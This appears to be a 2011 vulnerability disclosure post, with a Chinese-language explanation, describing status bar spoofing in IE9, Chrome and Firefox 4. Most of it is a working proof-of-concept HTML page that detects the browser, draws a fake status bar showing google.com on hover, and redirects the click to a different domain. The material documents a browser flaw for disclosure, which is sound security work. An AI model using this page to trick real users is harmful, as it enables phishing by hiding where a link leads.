IE&Chrome&Firefox Status Bar Spoofing Vulnerability

#[+]Exploit Title: IE&Chrome&Firefox Status Bar Spoofing Vulnerability

#[+]Date: 17\04\2011

#[+]Author: xisigr

#[+]Version: IE9.0&Chrome all version & Firefox4.0

#[+]Tested On: WIN 7

#[+]CVE: N/A

这个漏洞存在于谷歌浏览器所有版本和火狐浏览器4.0版本以及IE9.0版本中。在这些浏览器中是没有固定状态栏的,只有当你用鼠标放到有链接的控件上时,状态栏才会出现,状态栏中将显示这个链接的地址。那么状态栏使用这样的设计模式,逻辑上就会存在一些错误。攻击者用脚本模拟一个点击控件,当鼠标 移动到此控件时,攻击者再使用图片或文本去模拟状态栏模块,此时就达到了状态栏欺骗的效果。当用户点击控件链接,转向的地址并非是状态栏中看到的地址,而转向了一个用户未知的恶意地址。这和传统的状态栏欺骗有所不同,当攻击者可以使用HTML语言去模拟浏览器一个固定模块的时候,欺骗就会发生。

demo code:

 

<!DOCTYPE html>

<html lang="zh-CN">

<head>

<meta content="text/html; charset=utf-8" http-equiv="Content-Type">

<title>Status Bar Spoofing Vulnerability</title>

<style>

.firefox4{

   background: -moz-linear-gradient(top,#FEFEFE,#DDDDDD);

width:250px;

height:20px;

border:solid 1px #cccccc; 

-moz-border-radius-topright: 3px;

font-size:12px;

font-family:"微软雅黑";

color:#333333;

line-height:20px;

padding:0px 0px 0px 5px;

position:absolute;

bottom:0px;left:0px;

display:none;

}

.chrome{

   background: #DFDFDF;

width:250px;

height:23px;

-webkit-border-top-right-radius: 4px;

font-size:12px;

font-family:"微软雅黑";

color:#333333;

line-height:23px;

padding:0px 0px 0px 3px;

position:absolute;

bottom:0px;left:0px;

display:none;

}

.ie9{

filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=’#FFFFFF’,endColorstr=’#E4E5F0′,GradientType=’0′);

width:250px;

height:20px;

border:solid 1px #767676; 

-webkit-border-radius: 3px;

-moz-border-radius: 3px;

border-radius: 3px;

box-shadow:2px 2px 4px #8E8E8E;

font-size:12px;

font-family:"微软雅黑";

color:#575757;

line-height:20px;

padding:0px 0px 0px 5px;

position:absolute;

bottom:4px;left:4px;

display:none;

}

 

.link{

color:blue;

text-decoration:underline;

cursor:pointer;

}

</style>

<script>

        var Sys = {};

        var ua = navigator.userAgent.toLowerCase();

        var s;

        (s = ua.match(/msie ([\d.]+)/)) ? Sys.ie = s[1] :

        (s = ua.match(/firefox\/([\d.]+)/)) ? Sys.firefox = s[1] :

        (s = ua.match(/chrome\/([\d.]+)/)) ? Sys.chrome = s[1] :

        (s = ua.match(/opera.([\d.]+)/)) ? Sys.opera = s[1] :

        (s = ua.match(/version\/([\d.]+).*safari/)) ? Sys.safari = s[1] : 0;

 

function setClass(){

if (Sys.ie) document.getElementById("statusbar").className = "ie9";

if (Sys.firefox) document.getElementById("statusbar").className = "firefox4";  

if (Sys.chrome) document.getElementById("statusbar").className = "chrome";  

if (Sys.opera) document.getElementById("statusbar").className = "opera";

if (Sys.safari) document.getElementById("statusbar").className = "safari";

}

 

        function showBrowser(){

if (Sys.ie) document.write(‘IE: ‘ + Sys.ie);

if (Sys.firefox) document.write(‘Firefox: ‘ + Sys.firefox);

if (Sys.chrome) document.write(‘Chrome: ‘ + Sys.chrome);

if (Sys.opera) document.write(‘Opera: ‘ + Sys.opera);

if (Sys.safari) document.write(‘Safari: ‘ + Sys.safari);

}

 

function show(status){

document.getElementById("statusbar").style.display = status;

}

 

function goto(url) {

            location = url;

        }

 

</script> 

</head>

<body onload="setClass();">

<div info>Your browser is <script>showBrowser()</script> try a <span class="link" onMouseover="show(‘block’);" onMouseout="show(‘none’)" onClick="goto(‘http://xeyeteam.appspot.com/’)">DEMO</span></div>

 

<div id = "statusbar" class="">http://www.google.com…</div>

</body>

</html>

发表评论?

0 条评论。

发表评论